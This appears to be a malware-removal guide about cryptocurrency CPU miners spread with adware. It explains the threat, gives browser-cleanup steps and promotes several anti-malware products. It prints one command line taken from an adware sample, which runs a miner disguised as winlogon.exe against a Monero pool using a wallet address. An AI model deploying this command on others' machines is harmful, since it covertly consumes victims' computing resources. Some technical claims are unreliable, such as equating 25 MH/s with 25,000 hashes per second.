What is a CPU Miner?
a CPU miner is a legitimate piece of software that mine’s digital currency such as bitcoin, monero, and litecoin. The problem persists in the fact that these CPU miners are spread by malware like advertising campaigns.
This results in unwanted installations of CPU miners and that may cause a computer to respond slowly because of high CPU and GPU usage.
CPU Miners and Potentially Unwanted Programs?
CPU Miners are used in malware like advertising campaigns. This basically means CPU miners are installed with other software you download from the internet. This technique is deceptive and might cause all sorts of problems with your computer and it’s behavior.
The processes to mine cryptocurrency are used all the time, this will exhaust your computer performance and will affect the user experience on the infected computer. Although a CPU Miner is not technically a virus or malware, it is categorized as a Potentially Unwanted Program if installed without the user’s knowledge.
This is a piece of code we extracted from an adware sample that contained a bitcoin miner. The adware uses a miner, “hidden” as winlogon.exe, which is a legitimate windows process.
This behavior indicates that the miner is supposed to run in the background as winlogon.exe without the user’s consent.
cmd /c C:\Users\Desktop\AppData\Local\Temp\winlogon.exe -o pool.supportxmr.com -u 47GUyTh4RR7aPkFyecjb1DD5y6H3Laeqed9EnGh58PyBhfP5y4EDA8SSUhcFVbeXEMG1xnpZJ41F1MeSu2BmyBwsHepnKh3 -p x -k –donate-level=1 –safe -B –max-cpu-usage=75
How does a CPU Miner work?
There are two ways for a CPU miner to work in order to generate a block and create the digital currency.
The first method a CPU Miner works are by mining thru what is called Pooled Mining. Pooled mining is multiple generating “miners” contributes to the generation of a block and then split the digital currency they have generated.
This results in a split of the generated cryptocurrency across all “miners” that are contributing to the generated block. Pooled mining basically means that all contributors that are generating a block get an even share of the eventually created digital currency. It’s a steady and fast way to create income.
Solo mining means that only one computer at the time will work on the generation of a block. This method takes a lot of resources of the computer and even more time. This is not for the novice user.
The CPU miners that are used in adware malvertising campaigns are most likely not solo miners, as they obviously do not work together and this takes years to create any digital currency. You would also need a very high hash rate (25 mh/s – 25.000 hashes/a second or higher) in order to even complete a block.
How to Remove a CPU miner from your computer?
To remove CPU Miner, complete the steps below
- Remove CPU Miner without any software
- Scan your computer for malware with free anti-malware software to detect and remove CPU Miner malware
- Read more on Malwarebytes Blog about CPU Miners and their deceptive method of distribution.
Uninstall the CPU Miner, Adware or Potentially Unwanted Programs
In this step, we show you how to detect and manually uninstall the CPU Miner, adware and potentially unwanted programs responsible for a high CPU. Both adware and potentially unwanted programs leave traces.
After you have uninstalled any adware or potentially unwanted programs, perform an anti-malware scan with our recommended removal tools to remove any traces from your PC in order to make sure the malware infection is fully deleted from your PC.
Windows 7 users: Click the Start button in the left bottom corner, select Control Panel, select “Programs and Features“.
Windows 8 and Windows 10 users: Right-click the Windows logo in the bottom left corner, select Control Panel, select “Programs and Features“.
All Windows: Check the Programs List for any Potentially Unwanted Programs and click “Uninstall” or “Remove“.
Click the column “Installed On” to sort installed software by date, this makes it easier to detect recently installed software.
If you don’t know what to look for, perform a free anti-malware scan with our recommended anti-malware tools.
Clean your Browser(s) Internet Explorer, Chrome or Firefox
In this step, we show you how to manually remove adware from your browser and how to reset the browser to default settings.
If after this step, there are still problems with a hijacked homepage or CPU (web-based) Miner in your browser, perform a malware scan with our recommended malware removal tools.
Remove malicious adware from Internet Explorer
Internet Explorer users: select the wrench button in the top right corner, from the menu select “Manage add-ons”.
Check the add-ons list for any suspicious Browser Helper Objects, select the suspicious entry and click Remove or Disable. If the button is grayed out, scan your computer with malware removal tools to remove the malicious add-on.
Reset your default Homepage and Search engine for Internet Explorer
The fastest and easiest way to reset your default homepage and the search engine is by resetting Internet Explorer to default settings.
Internet Explorer users: select the wrench button in the top right corner, from the menu select “Internet Options“.
Select “Advanced” from the tab menu, Click the Reset button.
Check “Delete personal settings” and click the Reset button.
Restart Internet Explorer for the changes to take effect.
Remove malicious adware from Google Chrome
Google Chrome users: select the menu button in the top right corner, from the menu select “More Tools” and then “Extensions“.
Search for any unknown Extension(s) from the list and remove them by clicking the trashcan icon.
Continue to the next step, Reset Google Chrome Sync.
Reset your Chrome sync
Google Chrome sync your profile with their services. If the Google Chrome browser is infected with adware, this adware is also synced with Google’s servers.
It is important to clean this cache. If you don’t clear the synced cache the problem keeps coming back on any devices the profile is synchronized with.
- Open your Google Dashboard. Make sure you are signed in to your Google Account.
- Click Reset sync to stop syncing and clear all of your synced data.
- Click OK.
Continue to the next step, reset Google Chrome.
Reset your default Homepage and Search engine for Google Chrome
The fastest and easiest way to reset your default homepage and the search engine is by resetting Google Chrome to default settings.
Google Chrome users: select the menu button in the top right corner, from the menu select “Settings“.
Scroll down to “Advanced” and again Scroll down to Reset settings.
Click the “Reset” button to Reset Google Chrome, a new dialog appears.
Confirm the Reset of Google Chrome by clicking the “Reset” button.
Restart Google Chrome for the changes to take effect.
Continue to the next step Google Chrome Cleanup Tool
Google Chrome Cleanup Tool
The Google Chrome Cleanup tool is able to detect and remove malware from the Google Chrome browser. Chrome Cleanup tool performs a malware scan and will reset Google Chrome after the scan. The Google Chrome cleanup tool is completely free to use.
The Google Chrome cleanup tool is only meant to clean Google Chrome, it does not protect or remove malware from other browsers, obviously. The Google Chrome Cleanup utility should be used if you experience: crashes, unwanted redirects, pop-up advertisements, unwanted start-up pages or any other undesired activity within Google Chrome.
Start Chrome Cleanup Tool with right click and select Run as Administrator
Select Yes to Accept User Account Control
Chrome Cleanup Tool is searching for malicious programs
If malicious programs are found the Chrome Cleanup Tool will remove them for you.
After the scan, the Chrome Cleanup Tool will Reset Google Chrome to its default settings.
Click Reset to complete the Google Chrome Cleanup.
Remove malicious adware from Firefox (Quantum)
Firefox users: select the menu button in the top right corner, from the menu/list select “Add-ons“.
Select Extensions from the left menu. Search any unknown Browser Extension(s) and remove it by clicking the Remove button.
Reset your default Homepage and Search engine for Firefox
The fastest and easiest way to reset your default homepage and the search engine is by resetting Firefox to default settings.
select the menu button in the top right corner, from the menu, select “Help ?” (the question mark icon, at the end of the menu).
select Troubleshooting information from the menu.
select the Refresh Firefox button, and confirm the Refresh Firefox dialog once again to Reset Firefox to default settings.
Click Finish, Firefox will restart.
1. Remove the CPU Miner with Malwarebytes
Malwarebytes is a next-generation antivirus replacement. Malwarebytes is the first of its kind for home users, employing four independent technology modules, anti-malware, anti-ransomware, anti-exploit, and malicious website protection to block and remove both known and unknown threats.
Detects and prevents contact with fake websites and malicious links. You are proactively protected from downloading malware, hacking attempts, and infected advertising. Worried about wandering into a “bad” Internet neighborhood? Now you don’t have to be.
Wraps your browser and software programs in four layers of defense, stopping attacks that use vulnerabilities in those programs to infect your computer. Clean your computer now with Malwarebytes free.
Malwarebytes works great alongside Antivirus software, both Malwarebytes and Antivirus software go along and provide the best protection for your computer.
- Run the Malwarebytes installation file.
- Select Scan Now to perform an Anti-Malware scan.
- Malwarebytes is scanning the computer for any viruses, trojans, adware, spyware, ransomware, and potentially unwanted programs.
Please wait for Malwarebytes to finish the anti-malware scan, the anti-malware scan usually takes around 2 to 5 minutes to complete.
- When the anti-malware scan is finished, Malwarebytes will show the results of the anti-malware scan.
To remove the detected malware from your computer, select the Quarantine Selected button.
- All found malware will be moved to quarantine. Malwarebytes requires a reboot to complete the removal process.
- Restart your computer.
- After the reboot, all the malware detected by Malwarebytes is moved to quarantine. The removal process is finished.
2. Clean your PC and your Browser with Zemana Anti-Malware
This means that all data such as the malware definitions but also analyses are conducted entirely over the internet.
- Real-Time Protection – Fast and efficient malware detection and removal. Prevention of future infections.
- Bootkit and Rootkit Remediator – Rootkit and bootkit detection and removal.
- Adware Removal Tool – Browser hijacker removal. Detects and removes annoying browser add-on’s, unwanted apps and toolbars.
- Ransomware Protection – Build your defense system against ransomware with Zemana AntiMalware.
- 0-day malware protection – Increased zero-day malware protection using Cloud protection.
- Zemana Anti-Malware is especially very effective against Browser Hijackers.
Zemana Anti-Malware features include protection against viruses, trojans, adware, and spyware. But it also provides effective protection against rootkits and ransomware boot kits.
Buy Zemana Anti-Malware Premium (30% FixYourBrowser discount)
- Open the Zemana Anti-Malware installer
- Install Zemana Anti-Malware using the default settings
- Zemana Anti-Malware will update itself
- Select the Scan button to perform a malware scan
- Wait for the scan to finish, it takes a few minutes.
- Select the Next button to remove the malware found on your computer
- That’s it. All malware is successfully removed from your computer.
3. Remove Adware and Potentially Unwanted Programs with AdwCleaner
Malwarebytes AdwCleaner searches for adware, browser hijackers, malware files and removes them for free.
The Malwarebytes AdwCleaner tool will specifically scan for malicious Windows Services, Folders, Files, Shortcuts, Registry keys, Windows Tasks and Browser Extensions.
Malwarebytes AdwCleaner is used to clean Internet Explorer, Google Chrome, and Mozilla Firefox.
- Right Click the executable AdwCleaner.exe and select “Run as Administrator” this is important.
- Accept their terms by clicking the “I Agree” button
- Select the Scan “Look for Adware/PUPs” button to start scanning your computer and browser for malicious files.
- to remove the malicious items found by Malwarebytes AdwCleaner using the detection Scan, select the Clean “Remove the selected elements” button.
- Make sure to close all open programs and browser(s) to continue removing the detected items from your computer.
- Click OK to continue.
- Your computer is rebooted after the removal process, click Reboot Now.
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